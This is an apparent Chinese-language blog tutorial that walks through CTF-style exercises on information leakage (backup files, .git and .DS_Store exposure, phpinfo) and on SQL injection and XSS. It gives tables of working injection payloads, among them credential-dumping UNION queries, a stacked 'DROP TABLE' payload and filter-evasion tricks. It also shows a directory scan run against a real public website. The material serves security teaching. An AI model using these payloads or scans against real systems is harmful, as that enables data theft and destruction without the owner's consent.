news 2026/4/21 3:23:59

网络安全漏洞:从信息泄露到SQL注入

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
网络安全漏洞:从信息泄露到SQL注入

一、信息泄露

信息泄露(也称数据泄露),指敏感、保密的信息在未经授权的情况下,被故意或意外地披露、获取或传播。小至个人隐私,大至企业机密、国家情报,均可能成为泄露目标。在网络安全里,信息泄露不只是 “隐私被看光”,它是绝大多数网络攻击、诈骗、数据犯罪的源头和跳板,危害会层层放大。

1.目录遍历

目录遍历(Directory Traversal),也叫目录穿越,是一种常见的Web 安全漏洞。攻击者通过构造特殊的路径字符,绕过网站的访问限制,非法访问到服务器上本应受保护的文件目录,读取、修改甚至删除系统文件或应用配置文件。

这里介绍dirsearch来进行目录遍历

下载:git clone https://github.com/maurosoria/dirsearch.git

进入窗口

输入cmd打开终端,输入python dirsearch.py -i 200 -u 目标网址

这里我以www.baidu.com百度网站为例

由上面的图片结果来看百度作为大型网站,这些路径大多是公开的静态资源或标准配置文件,没有发现敏感的后台、备份文件等高危路径,属于正常现象。

2.PHPINFO()

指网站因遗留测试文件(如phpinfo.phpinfo.php),导致攻击者可直接访问并执行 PHP 内置函数phpinfo(),从而获取服务器 PHP 环境、系统配置、路径、扩展、安全开关等大量敏感信息的漏洞。

示例:

https://www.ctfhub.com/#/skilltree

点击网址进入题目

查看phpinto

ctrl+f 搜索cfthub

得出flag

3.备份文件下载

网站开发人员在修改、更新网站源码时,会对原网站代码、配置文件进行备份,生成备份文件。
若开发人员上线后忘记删除备份文件,攻击者可以通过猜测、扫描路径直接访问并完整下载网站全部源码,属于典型信息泄露漏洞

3.1网站源码

网站源码备份文件,是开发者在搭建、修改、更新网站代码时,将整个网站所有页面代码、配置文件、数据库文件整体压缩备份形成的文件。若网站上线部署后,备份文件仍然存放在网站根目录,攻击者可通过路径访问、目录扫描直接下载全部网站源码,属于严重信息泄露漏洞。

示例:

通过对备份文件后缀与备份文件名的排列组合,可以得到一个为www.zip的压缩包,将其打开

将flag_1149411838.txt写入url中得到flag

3.2 bak文件

.bak 是最常见的源码备份后缀,网站开发人员修改网页代码、配置文件时,会自动生成原文件备份,文件后缀为 .bak。
网站上线后未删除这些 bak 文件,攻击者可直接访问链接下载原文件源码,属于信息泄露漏洞。
简单举例:
index.php 备份后 → index.php.bak
config.php 备份后 → config.php.bak

示例:

打开题目得到

其表达为flag在index.php中,而该文件备份为index.php.bak,因此url中写入

得到备份文件,打开即可获得flag

3.3 vim备份文件

Vim 备份文件是编辑器 Vim 在编辑文件时自动生成的临时备份 / 缓存文件,用于异常退出时恢复文件。如果编辑完文件未正常退出 Vim,该文件会残留在网站目录生成一个用于备份缓冲区内容的临时文件——.swp文件。攻击者可直接访问下载,还原出网站源码。

示例:

该操作与上一个.bak文件一致,仅改变后缀为.swp 得到

打开即可获取flag

3.4 .DS_Store

.DS_StoreMac OS(苹果电脑)系统自带的文件夹隐藏配置文件。系统会自动在每个文件夹生成该文件,用来保存文件夹图标位置、文件排序、目录结构等信息。网站开发者用 Mac 电脑上传网站代码时,连带隐藏文件一起上传到服务器,残留未删除,攻击者可访问下载,泄露网站全部目录结构,属于信息泄露漏洞

示例:

在url中输入 .DS_Store,下载文件

记事本打开

将c5fa3eb3c0bf391f0761f70da6fcde09.txt输入url中得到flag

4.Git泄露

Git 泄露是指开发者使用 Git 管理网站代码时,将项目目录下的隐藏文件夹.git一同上传到了服务器,攻击者可通过访问网址/.git下载该文件夹,还原出网站的全部源代码、历史版本、账号、密钥,属于高危信息泄露漏洞。注意事项 必须在python2环境下运行!

5.svn泄露

SVN 是一款版本控制工具,开发者用它管理网站代码版本、修改记录。网站部署上线时,未删除项目内自带的隐藏目录 .svn,且服务器无访问权限限制,攻击者可直接访问该目录,利用工具解析文件、完整下载网站全部源代码、历史版本、数据库配置,属于极高危信息泄露漏洞。

6.其他泄露

CVS泄露 CVS是一个C/S系统,多个开发人员通过一个中心版本控制系统来记录文件版本,从而达到保证文件同步的目的。主要是针对 CVS/Root以及CVS/Entries目录,直接就可以看到泄露的信息。

Bazaar/bzr泄露 bzr也是个版本控制工具, 虽然不是很热门, 但它也是多平台支持, 并且有不错的图形界面。 Bazaar/bzr泄露 WEB-INF是Java的WEB应用的安全目录,如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。

二、SQL注入

1.原理

SQL注入是由于网站后端直接将用户可控的请求参数拼接进SQL语句执行,没有对单引号、逻辑关键字、注释符等特殊字符进行过滤与转义,攻击者可以构造恶意注入语句,篡改原本SQL语句的执行逻辑,从而非法查询、窃取、篡改数据库数据,甚至获取网站后台权限与服务器权限,造成严重的数据泄露危害。

一些常见的sql注入语句:

注入类型用途经典 SQL 注入语句说明
基础判断判断是否存在注入点' OR 1=1--最经典万能注入,闭合单引号,恒成立条件,注释后续语句
' OR '1'='1无注释符版本,适用于部分数据库
布尔盲注判断' AND 1=1--' AND 1=2--页面正常 / 异常,判断注入是否生效
查询数据查所有数据(登录绕过)admin' --用户名输入,直接跳过密码验证
' UNION SELECT 1,2,3--联合查询,获取字段数、回显位
查数据库版本' UNION SELECT version(),2--获取 MySQL 版本信息
查当前数据库' UNION SELECT database(),2--获取当前连接的数据库名
查所有数据库' UNION SELECT schema_name,2 FROM information_schema.schemata--MySQL 获取所有库名
查表名' UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema=database()--获取当前库所有表
查字段名' UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='user'--获取指定表的字段
查敏感数据' UNION SELECT username,password FROM users--直接查询账号密码等核心数据
延时盲注无回显时判断注入' AND sleep(5)--MySQL 延时 5 秒,页面延迟加载则存在注入
' AND IF(1=1,sleep(5),0)--条件延时注入
报错注入页面有报错信息时' AND updatexml(1,concat(0x7e,database()),0)--MySQL 报错暴库
' AND extractvalue(1,concat(0x7e,version()))--报错查版本
堆叠注入执行多条 SQL 语句'; DROP TABLE users;--分号分隔,可执行删除、修改等高危操作
'; CREATE TABLE test(id int);--新建表

2.HTTP请求原理

客户端浏览器首先通过DNS 域名解析获取服务器对应的 IP 地址,随后与服务器建立TCP 三次握手连接,连接成功后客户端按照 HTTP 协议格式构造并发送HTTP 请求报文;服务器接收请求后进行处理,执行相应业务逻辑,再向客户端返回HTTP 响应报文与资源数据;数据传输完成后,通过TCP 四次挥手断开连接,最终浏览器解析响应内容并将页面展示给用户。

3.示例:

我们创建一个数据库,使用正常的sql语句

http://localhost/test.php?id=1

如上图,返回的是数据库表id=1的数据

而如果利用sql注入

http://localhost/test.php?id=1' or '1'='1

可以看到sql注入后将数据库的所有数据库全部呈现出来,造成数据泄露。

三、union注入

1.原理

Union 注入就是利用 SQL 的 UNION 关键字,将用户构造的恶意查询语句与原查询语句拼接执行,从而直接查询出数据库里的表名、字段名、账号密码等敏感信息。

Union 注入是 SQL 注入中最常用的联合查询注入,攻击者通过构造恶意 SQL 语句,使用 UNION 关键字将原本的查询语句与自己构造的 SELECT 语句拼接执行,使数据库返回原查询结果之外的敏感数据,从而直接获取数据库的表名、字段名、管理员账号密码等核心信息,实现快速脱库。

2.条件

Union 注入 3 个必须条件

  1. 页面必须有回显(能把查询结果显示出来)
  2. 前后两个 SELECT 的字段数必须一样
  3. 数据类型兼容

3.示例:

这是最开始的数据库信息

当在url中输入

?id=-1' union select 1,username,password from user --

可以看到union注入将得到的数据全部整合,回显到浏览器上展示

这里的语法则是:

id=-1是一个不存在的 ID,让原本原生的 SQL 查询查不到任何数据原 SQL 查询不到结果,页面回显位置就会完全空出来,此时union后面你自定义查询的数据就会完整显示在页面上。

'直接闭合掉前面原本的单引号,打破原有 SQL 语句结构,脱离参数数据范围,开始写自己的 SQL 语句。

union select:拼接 2 条SELECT查询语句,把两次查询的结果合并到一起,同一页面回显输出。要求:前后两条SELECT查询的字段数量必须完全一致

1占位数字,用来补齐字段数量

username,password:你要爆出来的敏感字段(用户名、密码),这就是你注入要获取的数据。

-- -:把单引号后面所有原本剩余的 SQL 语句全部注释掉,让数据库不再执行后面的代码,避免语法报错。

四、手工注入过滤绕过

网站过滤了select / union / and / or / 空格 / 单引号等关键字,我们用变形、替换、编码、大小写等方法,让代码照样执行。

被过滤内容绕过原理绕过方法原始 Payload绕过后可用 Payload 示例
SQL 关键字unionselect后端仅纯小写 / 纯大写精准匹配过滤,不识别混合大小写大小写混合变形-1' union select 1,username,password from user---1' UniOn SeLeCt 1,username,password from user--
SQL 关键字unionselect后端仅做单次替换删除,双写关键字被删除一次后恢复原词关键字双写绕过-1' union select 1,username,password from user---1' ununionion seselectlect 1,username,password from user--
空格用 SQL 语法内等价符号替代空格,不影响语句执行/**/注释符绕过-1' union select 1,username,password from user---1' union/**/select/**/1,username,password from/**/user--
空格URL 编码替代原生空格,数据库可正常解析URL 编码绕过%20(空格)、%09(TAB 制表符)-1' union select 1,username,password from user---1'%09union%20select%091,username,password from%20user--
逻辑运算符andorSQL 标准逻辑符等价替换符号替换and&&or→ ``1' or 1=1--`1'1=1--`
等号=用查询匹配语法替代等值判断likeregexp模糊匹配绕过where id='1'where id like '1'
单引号'宽字节编码吞噬后续转义斜杠,闭合语句宽字节绕过%df'-1' union select...?id=-1%df' union select 1,username,password from user--
逗号,利用括号、字段顺序拆分,规避逗号括号嵌套绕过union select 1,username,passwordunion select (1),(username),(password)
注释符--#后端屏蔽结尾注释,语句无法闭合首尾注释包裹绕过...from user--/*xxx*/from user/*xxx*/

例如:

?id=-1' UniOn SeLeCt 1,username,password from user -- -

五、宽字节注入

宽字节注入是一种利用PHP 与 MySQL 数据库编码不一致产生的注入漏洞。当网站使用GBK/GB2312 编码,并对用户输入的单引号'进行转义(变成\')时,攻击者可以在单引号前添加一个GBK 编码的字符(如%df),让转义符\被 “吃掉”,从而成功闭合单引号,绕过转义过滤实现 SQL 注入。

例如:

?id=-1%df' union select 1,username,password from user --+

六、报错注入

报错注入是无回显、只有错误信息页面情况下的注入方式,利用数据库自带特殊函数执行过程中出错,将函数内部查询的数据库数据跟随报错信息一同回显到页面,从而逐步查询库名、表名、字段名、账号密码,实现脱库。

条件:

  • 页面会回显数据库原始报错信息
  • MySQL 数据库开启报错机制
  • 存在 SQL 注入漏洞,可插入函数语句

与union比较:

注入类型适用场景核心函数原理典型 Payload
报错注入无数据回显,仅显示数据库报错信息updatexml()extractvalue()构造非法参数使函数报错,将子查询数据随报错内容回显?id=1' and updatexml(1,(select database()),1)--+
Union 联合注入有完整数据回显union select拼接查询语句,直接回显查询结果?id=-1' union select 1,2,3--+

注意:

报错注入的两个函数updatexml()extractvalue()是 MySQL 专属自定义函数,SQLite 数据库完全不存在、不支持这个函数。

我这里使用的是sqlite数据库就不演示,感兴趣的朋友请自行测试。

七、盲注

盲注是在页面没有任何数据回显、也没有报错信息时的 SQL 注入方式。攻击者通过构造逻辑判断语句,观察页面是否正常显示、是否延时响应,来逐位猜解数据库的库名、表名、字段名、账号密码等敏感数据,最终实现脱库。

1.布尔盲注

布尔盲注属于无回显 SQL 注入,当页面没有数据回显、没有报错信息,仅存在页面正常 / 空白两种真假状态时,攻击者构造逻辑判断语句,根据页面是否正常显示,逐位猜解数据库库名、表名、字段、账号密码的每一个字符,最终拼接出完整敏感数据完成脱库。

示例:

输入一个恒为真的url

?id=1' and 1=1 -- -

输入一个恒为假的url

?id=1' and 1=2 -- -

2.构造布尔盲注条件

?id=1' and substr(username,1,1)='a' -- -

当输入url后猜用户名第一位是否为‘a’时

当输入url后猜用户名第一位是否为‘b’时

3.构造逻辑判断条件

?id=1' and length((select username from user limit 1))>3 -- -

4.区别

以上三者存在高度相似,但是概念层级、范围、作用完全不一样,是包含从属关系

构造逻辑判断条件 > 构造布尔盲注条件 > 布尔盲注(整体注入)

对比维度布尔盲注构造布尔盲注条件构造逻辑判断条件
整体定义一整套完整的注入攻击类型,属于无回显注入专门适配布尔盲注场景,符合盲注语法规范的条件语句编写方法通用范围最广,所有 SQL 逻辑判断语句的编写方式统称
所处层级整体漏洞利用流程(完整注入)流程内的核心环节,布尔盲注专属条件底层语法基础,所有注入通用基础
适用场景页面无数据回显、无报错回显,仅存在真假页面显示差异仅用于布尔盲注场景下的语句构造布尔盲注、时间盲注、万能登录、所有 SQL 判断场景全部通用
核心作用根据页面真假差异,完整脱库(猜长度、猜表、猜字段、猜账号密码全部字符)编写专门用于盲注的合法判断式,限定只能返回真 / 假布尔结果构造任意 SQL 逻辑表达式,实现条件成立 / 不成立的判断
包含函数length()substr()ascii()全套字符猜解函数仅使用盲注专用函数:length、substr、ascii所有比较运算符、逻辑运算符均可(> < = >= <= and or),不限函数
完整 Payload 格式?id=1' and 【布尔条件】 -- -整套完整 URL 注入语句填充在and之后的完整判断式子ascii(substr((select username from user limit 1),1,1))>97任意位置可嵌套的基础判断表达式length(str)>5substr(...)='a'
范围包含关系最大整体概念属于布尔盲注的核心组成部分范围最底层,包含布尔盲注条件
结果特点整套流程最终破解出完整数据库数据结果只有TRUE / FALSE两种布尔值结果只有成立 / 不成立两种逻辑值
典型完整示例<br>?id=1' and ascii(substr((select username from user limit 1),1,1))>97 -- -<br><br>ascii(substr((select username from user limit 1),1,1))>97<br><br>length((select username from user limit 1))>3<br>
通俗理解一整套攻击方法这套攻击里专用的标准条件写法所有 SQL 里写真假判断式子的通用方法

5.时间盲注

时间盲注属于完全无回显的注入类型,页面既不显示查询数据、不显示报错信息、页面内容也没有任何真假区别。利用if()条件判断 +sleep()延时函数,条件成立就延迟加载页面,条件不成立就立刻加载,通过网页响应等待时间长短来逐位猜解数据库字符,最终脱库。

注意:

该盲注仅在MySQL中使用。

八、堆叠注入

堆叠注入是利用数据库支持分号;分隔多条 SQL 语句的特性,在注入位置插入分号结束原有查询,后面拼接全新的任意 SQL 语句(删表、建表、改数据、导出文件等),一次性执行多条 SQL 语句,实现远超普通注入的危害。

注意:

该注入仅在MySQL中使用。SQLite默认完全禁止多语句堆叠执行;无法分隔多条 SQL。

例:

?id=1';select * from user;-- -

这里url中表示查询id=1的数据以及查询user中所有数据

但是回显的内容仅仅只有id=1的数据,并不能把user中的数据全部回显。

九、其他注入

1.二次注入

二次注入属于存储型注入,攻击者先将恶意 SQL 语句写入数据库,数据本身不会立刻触发漏洞;当后续页面调用、读取数据库中存储的该恶意数据时,恶意语句被后端重新解析执行,从而产生注入危害。整个注入触发分为插入、读取两个阶段。

2.Cookie注入

Cookie 注入是注入点位于 Cookie 参数的 SQL 注入。网站后端直接获取用户 Cookie 数据并拼接进 SQL 语句执行,攻击者将恶意注入语句写入 Cookie 中,代替 GET/POST 传参,从而触发 SQL 注入漏洞,实现数据脱库。

3.UA注入

UA 注入是注入点存在于 HTTP 请求头 User-Agent的 SQL 注入。网站后端获取浏览器请求头中的User-Agent用户代理信息,未经过滤直接拼接进 SQL 语句执行,攻击者修改 UA 字段写入恶意注入语句,从而触发 SQL 注入漏洞。

4.Refer注入

Referer 注入属于HTTP 请求头注入,网站后端获取用户 HTTP 请求头中的Referer来源页面信息,未经过滤直接拼接进入 SQL 语句执行,攻击者修改Referer请求头并写入恶意注入 Payload,从而触发 SQL 注入漏洞。

十、XSS

XSS 全称Cross Site Scripting 跨站脚本攻击,是网站对用户输入的数据没有做过滤转义,直接输出到前端页面,攻击者注入恶意 JavaScript 脚本代码,当其他用户访问页面时,恶意脚本在受害者浏览器自动执行,从而实现盗取 Cookie、钓鱼、页面篡改等危害。

1.反射型XSS

反射型 XSS 属于非持久型 XSS,攻击者构造包含恶意脚本的特殊 URL 链接,用户点击该恶意链接后,服务器直接将 URL 中的恶意代码反射输出到页面,脚本在受害者浏览器中执行,完成攻击。恶意代码不会存入数据库,仅单次触发。

2.存储型XSS

存储型 XSS 也叫持久型 XSS,攻击者将恶意脚本代码提交到网站并存储到服务器数据库中,后续任意用户访问该页面时,服务器读取数据库内的恶意数据并输出到页面,脚本在用户浏览器自动执行,危害范围广、持续性强。

3.DOM型XSS

DOM 型 XSS 是不经过服务器后端解析的前端原生漏洞。页面通过 JavaScript 读取 URL 参数等内容,并直接通过 DOM 操作写入页面 HTML 中,攻击者构造恶意脚本,脚本仅在浏览器前端执行,数据不经过服务器、不存入数据库、服务器无任何存储与输出

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/21 3:23:37

系统安全-概述

1.信息系统安全基本概念 1.1什么是信息安全 信息在产生、处理、传输、存储、使用、销毁全生命周期的安全&#xff1b;本质是可信、可控。 包含 4 层次&#xff1a;系统安全、数据安全、内容安全、行为安全。 1.2什么是信息系统安全 信息系统 是指信息产生&#xff64;处理&…

作者头像 李华
网站建设 2026/4/21 3:22:15

Hyperf方案 密钥管理服务(KMS)

先搞懂 KMS 是什么 8 )KMS 密钥管理服务&#xff0c;专门管"加密用的钥匙"问题&#xff1a;你用密钥加密数据&#xff0c;但密钥存哪&#xff1f;存数据库&#xff1f;万一数据库泄露&#xff0c;密钥和数据一起完蛋 …

作者头像 李华
网站建设 2026/4/21 3:07:32

jQuery 遍历 - 后代

jQuery 遍历 - 后代元素 (Descendants) 在 jQuery 中&#xff0c;后代遍历用于从当前选中的元素向下查找其子元素、孙元素等所有后代节点。这是 DOM 操作中最常用的功能之一。 一、核心方法 1. children() - 获取直接子元素 只返回一级子元素&#xff08;直接后代&#xff09;&…

作者头像 李华
网站建设 2026/4/21 3:06:18

SeanLib系列函数库-MyFlash

查看其它库函数说明&#xff0c;请点击此处跳转到SeanLib主页 1. 本篇内容 本篇提供了一个适用于STM32F429的片内Flash操作库&#xff0c;支持读&#xff08;一般不使用&#xff09;、扇区擦除、写&#xff08;按字节形式&#xff09;三个方法&#xff0c;相比于HAL库中的函数…

作者头像 李华